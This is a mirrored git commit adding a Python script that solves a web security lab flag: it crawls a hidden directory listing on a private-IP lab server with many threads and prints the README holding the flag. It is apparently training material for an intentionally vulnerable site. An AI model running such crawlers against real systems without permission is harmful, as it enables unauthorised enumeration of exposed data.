mirror of
https://github.com/tmoron/darkly.git
synced 2026-03-03 19:12:17 +01:00
+ | NSA Hack python script
This commit is contained in:
68
flags/hidden_robot/main.py
Normal file
68
flags/hidden_robot/main.py
Normal file
@ -0,0 +1,68 @@
|
|||||||
|
import threading
|
||||||
|
import requests
|
||||||
|
import time
|
||||||
|
from bs4 import BeautifulSoup
|
||||||
|
|
||||||
|
IP = "http://10.12.248.155/"
|
||||||
|
BASE_URL = ".hidden/"
|
||||||
|
|
||||||
|
thread_pool = []
|
||||||
|
visited_count = 0
|
||||||
|
stop_thread = False
|
||||||
|
|
||||||
|
class Request(threading.Thread):
|
||||||
|
def __init__(self, url=""):
|
||||||
|
self.url = url
|
||||||
|
threading.Thread.__init__(self)
|
||||||
|
|
||||||
|
def run(self):
|
||||||
|
global thread_pool
|
||||||
|
global visited_count
|
||||||
|
global stop_thread
|
||||||
|
|
||||||
|
if (stop_thread):
|
||||||
|
thread_pool.clear()
|
||||||
|
exit(0)
|
||||||
|
|
||||||
|
res = requests.get(IP + BASE_URL + self.url)
|
||||||
|
parsed = BeautifulSoup(res.content, "html.parser")
|
||||||
|
|
||||||
|
readme_value = parsed.find("pre").contents[-1].split(" ")[-1]
|
||||||
|
if not readme_value.startswith("34"):
|
||||||
|
stop_thread = True
|
||||||
|
|
||||||
|
time.sleep(0.5) # processing NSA hack
|
||||||
|
|
||||||
|
print("\n\nFound the flag on: ", IP + BASE_URL + self.url)
|
||||||
|
|
||||||
|
flag = requests.get(IP + BASE_URL + self.url + "README")
|
||||||
|
print(flag.content, "\n")
|
||||||
|
|
||||||
|
exit(0)
|
||||||
|
|
||||||
|
for link in parsed.find_all("a"):
|
||||||
|
|
||||||
|
url = link["href"]
|
||||||
|
if (url != "README" and url != "../"):
|
||||||
|
|
||||||
|
if (not stop_thread):
|
||||||
|
print("\r " + str(visited_count) + " " + self.url + url + " ", end="", flush=True)
|
||||||
|
|
||||||
|
new_thread = Request(self.url + url)
|
||||||
|
new_thread.start()
|
||||||
|
|
||||||
|
thread_pool.append(new_thread)
|
||||||
|
|
||||||
|
visited_count += 1
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
thread_pool.append(Request())
|
||||||
|
thread_pool[0].start()
|
||||||
|
|
||||||
|
for thread in thread_pool:
|
||||||
|
thread.join()
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
Reference in New Issue
Block a user